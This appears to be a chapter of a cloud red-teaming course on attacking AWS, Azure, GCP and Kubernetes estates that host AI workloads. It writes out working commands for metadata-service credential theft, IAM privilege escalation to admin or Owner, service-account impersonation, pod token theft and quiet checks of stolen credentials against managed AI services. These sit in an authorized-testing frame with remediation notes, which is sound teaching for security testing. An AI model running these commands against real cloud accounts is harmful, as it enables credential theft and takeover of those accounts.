V.2V · The infrastructureattack
Cloud security & red-teaming - AWS, Azure, GCP
Every AI system runs on AWS, Azure, or GCP, so a cloud weakness is an AI weakness - and a cloud pentest asks not “what can a user of the app do” but “what can an attacker who has compromised one credential, instance, or service reach from there?”
V.1 · Where AI runs taught you what the cloud is; this is how you test it. That assumed-breach question is a different scope from a web-app test, and it’s where the findings that matter live: IAM (identity and access management) privilege escalation, metadata credential theft, exposed storage, and lateral movement across services.
flowchart TB FOOT["Foothold<br/>leaked key · SSRF<br/>exposed service"] --> ENUM["Enumerate<br/>identity · resources<br/>permissions"] ENUM --> PRIV["Privilege escalation<br/>permission combos<br/>trust abuse"] PRIV --> LAT["Lateral movement<br/>cross-service<br/>cross-account"] LAT --> EXFIL["Impact<br/>data exfil · persistence"] classDef o fill:#241310,stroke:#ff5b4d,color:#ffc4bb; class FOOT,ENUM,PRIV,LAT,EXFIL o;
The same shape on all three providers; only the service names and the privilege-escalation tricks differ. An AI surface (a common foothold - VI.4 · AI red-team playbook Ch9) drops you into exactly this chain.
The provider trinity - same concepts, different names
| Concept | AWS | Azure | GCP |
|---|---|---|---|
| Identity | IAM (users, roles, policies) | Entra ID (formerly Azure AD) + RBAC | Cloud IAM (members, roles, service accounts) |
| Object storage | S3 buckets | Blob Storage (containers) | Cloud Storage buckets |
| Compute | EC2 · Lambda | VMs · Functions | Compute Engine · Cloud Functions |
| Secrets | Secrets Manager · SSM · KMS | Key Vault | Secret Manager · Cloud KMS |
| Metadata service | IMDS (169.254.169.254) | IMDS (169.254.169.254) | Metadata server (metadata.google.internal) |
| Audit log | CloudTrail | Activity Log / Entra logs | Cloud Audit Logs |
| Org boundary | Accounts / Organizations | Subscriptions / Tenants | Projects / Org |
Learn the concepts once and you can test any of the three; the names are just translation. Note the metadata service - a high-value cloud-pentest target, below.
The methodology - recon to impact
A cloud red-team walks the same five phases as the diagram - here is what you actually do at each.
1 Foothold - how you get in
The starting credential or access. Common origins on a real engagement: a leaked access key (in a git repo, a CI log, a public bucket), an SSRF in the application (a common AI foothold - VI.4 · AI red-team playbook Ch9) that reaches the metadata service, an exposed service with no auth, or a credential the client provides for an “assumed-breach” test (the most common and realistic scope).
The metadata-service move If you have SSRF or code-exec on an instance, request the cloud metadata endpoint - on AWS/Azure 169.254.169.254, on GCP metadata.google.internal - to retrieve the instance’s temporary IAM credentials. That hands you the instance’s role and drops you straight into enumeration. The defense is IMDSv2 (session-token-bound) on AWS and blocking metadata egress.
2 Enumerate - map what the credential can see
With any credential, even low-privilege, systematically map the environment: which identity am I, what can I do, what resources exist. This is the cloud equivalent of internal network enumeration.
# --- Metadata credential theft via SSRF / code-exec on an instance ---# IMDSv1 (no token) - instant creds if not hardened:curl http://169.254.169.254/latest/meta-data/iam/security-credentials/curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name># IMDSv2 (session-token bound) - two-step:TOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token \ -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name># GCP equivalent (note the required header):curl -s -H 'Metadata-Flavor: Google' \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# --- Enumerate identity & permissions ---aws sts get-caller-identityaws iam get-account-authorization-details > iam.json # full IAM picture (if permitted)az account show ; az role assignment list # Azuregcloud auth list ; gcloud projects get-iam-policy <project-id> # GCP
# --- Graph the IAM escalation paths (don't guess) ---pip install principalmapperpmapper graph createpmapper query 'preset privesc *' # who can escalate to adminpmapper visualize --filetype svg # export the graph
# --- Pacu: run privesc enumeration modules ---pacu # then, inside the session:# set_keys ; run iam__enum_permissions ; run iam__privesc_scanAutomate posture review with the standard auditing tools: ScoutSuite (multi-cloud, 400+ rules, HTML report) and Prowler (multi-cloud - AWS/Azure/GCP, CIS-benchmark aligned) flag IAM misconfigs, public storage, weak network rules by severity. For offensive situational awareness, CloudFox surfaces the exploitable attack paths across AWS/Azure/GCP that a compliance scanner won’t. Run these first for breadth, then go manual for the chained findings scanners miss.
Exposed-storage checks Take the candidate bucket/account names from the resource enumeration above and test each for anonymous read - the checklist’s #2 finding is a handful of read-only probes. List and note reachability; do not download.
# --- AWS S3: anonymous listing on a candidate bucket (request unsigned) ---aws s3 ls s3://<candidate-bucket> --no-sign-request# If you hold a credential, confirm WHO can read it - ACL grantees + public flag:aws s3api get-bucket-acl --bucket <candidate-bucket>aws s3api get-bucket-policy-status --bucket <candidate-bucket> # IsPublic: true?
# --- Azure Blob: enumerate a storage account's containers/blobs ---az storage container list --account-name <acct> --auth-mode loginaz storage blob list --account-name <acct> -c <container> --auth-mode login# Truly anonymous (public container) - hit the blob REST list endpoint, no login:curl "https://<acct>.blob.core.windows.net/<container>?restype=container&comp=list"
# --- GCP Cloud Storage: anonymous recursive listing on gs:// ---gcloud storage ls -r gs://<candidate-bucket>/** # or: gsutil ls -r gs://<bucket># The exposure is an allUsers / allAuthenticatedUsers binding on the bucket IAM:gcloud storage buckets get-iam-policy gs://<candidate-bucket> --format=json \ | jq '.bindings[] | select(.members[]|test("allUsers|allAuthenticatedUsers"))'The fix is one setting per provider: S3 Block Public Access (account + bucket), the storage account’s “allow blob anonymous access = disabled” on Azure, and uniform bucket-level access plus public access prevention on GCP - and the exposed corpus is the V.3 · The data layer RAG/vector data more often than not.
3 Privilege escalation - the heart of a cloud test
The defining cloud finding: a low-privilege identity reaching admin through a combination of permissions, a trust relationship, or a policy flaw. You’re looking for permission sets that let you grant yourself more.
Classic AWS escalation patterns An identity with iam:CreatePolicyVersion can rewrite its own policy to admin; lambda:CreateFunction + iam:PassRole lets you run code as a more-privileged role; iam:CreateAccessKey on another user lets you become them. There are dozens of these known paths.
GCP privesc - impersonation is the iam:PassRole of Google Cloud The permission iam.serviceAccounts.actAs (paired with a deploy permission) lets you run a job as a more-privileged service account - the direct analog of AWS iam:PassRole. The cleaner escalation is direct impersonation: iam.serviceAccounts.getAccessToken lets you mint a short-lived token for any SA you can act on, and those tokens can be chained (A impersonates B impersonates C) up to an admin identity. Impersonation leaves no key artifact, so it evades static-credential hunting - it only shows in the GenerateAccessToken Data Access audit event, which is off by default.
# Enumerate which SAs your identity can act on / impersonate:gcloud iam service-accounts listgcloud iam service-accounts get-iam-policy <sa-email> \ --format=json | jq '.bindings[]' # look for getAccessToken / actAs on you# Mint a token for a more-privileged SA and use it directly:gcloud auth print-access-token \ --impersonate-service-account=<privileged-sa-email># Then run any gcloud call with --impersonate-service-account=<sa> to act as it.Azure privesc - Managed Identity + role-assignment abuse The IMDS at 169.254.169.254 hands any process on a VM an OAuth bearer token for its assigned Managed Identity - no session-token step, unlike AWS IMDSv2. If that identity (or any principal you reach) holds Microsoft.Authorization/roleAssignments/write, you can grant yourself Owner at the same scope - the canonical Azure escalation. Other one-shot paths: a Key Vault access policy that leaks privileged secrets, or Microsoft.Compute/virtualMachines/runCommand to execute as a VM’s identity.
# Grab an ARM token from IMDS (single unauthenticated request):curl -s -H Metadata:true \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"# With that token (or az login), test the escalation precondition, then grant Owner:az role assignment create --assignee <your-object-id> \ --role Owner --scope /subscriptions/<sub-id># Prove reachability, then STOP and note remediation (least-privilege, no self-grant).Map it, don’t guess Use pmapper (Principal Mapper) to build a graph of users/roles and have it compute the escalation paths automatically; Pacu (AWS exploitation framework) enumerates permissions and tests the paths. On Azure, MicroBurst enumerates Entra ID and resources. The skill is reading the graph: “this service account can launch compute and pass a role → it can run as that role → that role is admin.”
# Precondition (from pmapper/enum): current identity can set a new default# version on a policy attached to itself.ARN=arn:aws:iam::<acct-id>:policy/<attached-policy>
# Craft an admin policy document:cat > admin.json <<'EOF'{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}EOF
# Create a new version AND make it the default in one call:aws iam create-policy-version --policy-arn "$ARN" \ --policy-document file://admin.json --set-as-default
# Prove the new permission resolves (read-only check - do NOT act on it):aws iam simulate-principal-policy \ --policy-source-arn <your-identity-arn> \ --action-names 'iam:CreateUser' 's3:*' | jq '.EvaluationResults[].EvalDecision'# Document the reachable admin, then STOP and note remediation (least-privilege).4 Lateral movement - pivot across the estate
From one identity/service, reach others. Cross-account/subscription trust relationships (a role that can be assumed from another account), over-shared service accounts, network paths into private subnets, and inter-service trust (a compute instance trusted by a database). Government estates with many subscriptions/projects make trust misconfiguration a rich surface.
AI relevance This is where an AI foothold becomes a breach: an injected agent (VI.4 · AI red-team playbook Ch3) holding a broad role, or an SSRF’d instance, lets you pivot from the AI workload into the wider cloud - the The 2026 incident board incident pattern (Azure SRE Agent, the RDS-gateway pivot in VI.4 · AI red-team playbook Ch11).
5 Impact & persistence - prove it, safely
Demonstrate the consequence without causing harm: reach (don’t exfiltrate) the “crown-jewel” data, show you could create a backdoor identity or tamper with the audit log (CloudTrail/Activity Log), then stop and document. On an authorized test you prove reachability; you don’t detonate.
Logging is a target and your safety net Note whether you could disable or evade CloudTrail/Cloud Audit Logs (a real attacker would) - and rely on those same logs to scope what your test touched.
Kubernetes - the AI-workload attack surface
Most AI training and serving runs on managed Kubernetes (EKS / GKE / AKS), so a pod compromise (RCE or SSRF in a model server, notebook, or agent container) is a common foothold. Two moves matter.
The pod-to-node IMDS hop From inside a pod you can often reach the node’s metadata service and steal the worker node’s instance credentials - which are far broader than the pod’s own. On EKS the request travels pod veth -> node bridge -> IMDS, which is 2 network hops, so the control is setting the node’s IMDSv2 http-put-response-hop-limit to 1 (plus IMDSv2-only), which times out the pod’s request. GKE blocks this with a concealment/metadata proxy; AKS relies on the same host-firewall pattern. Test it exactly like the metadata move above, from a pod shell.
Service-account token abuse and the modern credential binding Every pod is issued a Kubernetes service-account token (mounted at /var/run/secrets/kubernetes.io/serviceaccount/token); a compromised pod hands it to the attacker, who can then query the K8s API for whatever RBAC that SA holds. The cloud-credential binding is the higher-value target:
| Binding | How the pod gets cloud creds | Abuse if you own the pod |
|---|---|---|
| IRSA (EKS, IAM Roles for Service Accounts) | pod SA token exchanged via OIDC for an IAM role | assume the bound IAM role; if over-scoped, pivot into AWS |
| EKS Pod Identity | agent on the node vends role creds per-pod | same - inherit the pod’s IAM role |
| GKE Workload Identity | GKE metadata server exchanges the K8s SA token (via STS) for a GCP token | act as the bound GCP service account (see impersonation, above) |
| Azure Workload Identity | projected SA token federated to an Entra app | grab a Managed-Identity-equivalent ARM token |
The finding is almost always over-broad binding: a pod’s SA mapped to a cloud role with far more than that workload needs, turning one container RCE into a cloud foothold. Grep the RBAC and the role trust policy, not just the pod. Cross-ref agent identity/NHI controls in IV.6 · Agent identity & access (NHI).
# The mounted K8s service-account token (JWT) and namespace:cat /var/run/secrets/kubernetes.io/serviceaccount/tokencat /var/run/secrets/kubernetes.io/serviceaccount/namespace# What can this SA do in-cluster (RBAC)?kubectl auth can-i --list# EKS/IRSA: the injected role ARN is an env var -> assume it:env | grep -i AWS_ROLE_ARNaws sts get-caller-identity # resolves to the bound IAM role, not the nodeManaged AI services as targets - Bedrock, Azure OpenAI, Vertex AI, SageMaker
Once you hold a cloud credential, the managed-AI service itself is a target - both for LLMjacking (running inference at someone else’s expense, the CSA-tracked black-market economy) and for model/data exfil. The attacker script in the original Sysdig LLMjacking research validated stolen creds against ten AI platforms including Bedrock, Azure, and Vertex AI. The pattern is identical across providers: enumerate what’s reachable, confirm the creds work quietly, then invoke or exfiltrate.
| Provider | Enumerate | Confirm / exfil path |
|---|---|---|
| Amazon Bedrock | bedrock:ListFoundationModels, GetFoundationModelAvailability, ListCustomModels, ListKnowledgeBases | InvokeModel (LLMjacking); pull fine-tuned custom models and knowledge-base (RAG) documents |
| Azure OpenAI | list deployments on the resource (az cognitiveservices account deployment list) | call the deployment’s /chat/completions with the resource key |
| Vertex AI (GCP) | gcloud ai models list, gcloud ai endpoints list | :predict on a deployed endpoint; read training data / tuned models in the bucket |
| Amazon SageMaker | ListEndpoints, ListNotebookInstances, ListModels | InvokeEndpoint; notebook instances often hold broad roles + the metadata hop |
Quiet confirmation The known LLMjacking tell is calling InvokeModel with an invalid parameter (e.g. max_tokens_to_sample = -1) so the resulting ValidationException proves access without generating billable output or obvious inference logs. On an authorized test, note the reachable models and the exfil path, then stop - do not run inference at scale or pull the corpus.
aws bedrock list-foundation-models --query 'modelSummaries[].modelId'aws bedrock list-custom-models ; aws bedrock-agent list-knowledge-basesaz cognitiveservices account deployment list -n <aoai-resource> -g <rg>gcloud ai endpoints list --region=<region> # Vertex AI deployed endpointsaws sagemaker list-endpoints --query 'Endpoints[].EndpointName'Model-serving reachability and the RAG/vector corpus itself are covered in I.5 · The model artifact & its supply chain and V.3 · The data layer; this is the managed-service control-plane angle.
The findings that recur (your checklist)
- Over-permissive IAM -
*:*policies, admin where read-only suffices, escalation chains. The most common and highest-impact finding. - Public / exposed storage - world-readable S3 buckets / blobs / GCS, often holding data, backups, or the RAG corpus and vectors (V.3 · The data layer).
- Metadata service exposure - reachable via SSRF, no IMDSv2 - instant credential theft.
- Credential hygiene - long-lived access keys, no MFA on privileged accounts, unused/orphaned service accounts (the NHI - non-human identity - sprawl of IV.6 · Agent identity & access (NHI)).
- Network exposure - security groups open to
0.0.0.0/0on admin ports, databases/queues reachable without auth, sensitive workloads in public subnets. - Cross-account/subscription trust - role assumptions enabling lateral movement.
- Over-broad Kubernetes cloud binding - a pod SA (IRSA / GKE or Azure Workload Identity) mapped to a cloud role with far more than the workload needs; node IMDS reachable from pods (hop-limit not 1).
- Managed-AI exposure - LLMjackable Bedrock/Azure OpenAI/Vertex/SageMaker access, reachable custom models and knowledge bases.
- Exposed AI infra - unauthenticated model-serving endpoints, vector DBs, MLOps consoles (I.5 · The model artifact & its supply chain, V.3 · The data layer).
Rules of engagement - non-negotiable
The toolchain
Audit/recon: ScoutSuite (multi-cloud), Prowler (AWS/Azure/GCP, CIS), CloudMapper (network diagrams). Offensive situational awareness: CloudFox (exploitable attack paths across AWS/Azure/GCP). IAM analysis: pmapper (escalation graphs), Cloudsplaining (IAM policy risk). Exploitation: Pacu (AWS), MicroBurst / ROADtools (Azure/Entra), and Stratus Red Team for reproducing named GCP/AWS/Azure privesc techniques (e.g. SA impersonation) in a lab. Kubernetes: kubectl + kubectl auth can-i --list for RBAC, kube-hunter / Peirates for in-cluster escalation and the pod-to-node hop. Native CLIs (aws/az/gcloud) for manual enumeration. Pattern: scanners for breadth → graph the IAM → manual chaining for the findings that matter → re-scan after remediation to prove the fix. Map every finding to CIS benchmarks + AIVSS severity (VIII.4 · ISO/IEC 42001, verification & maturity) and report in the two-audience format (VI.5 · Running the engagement).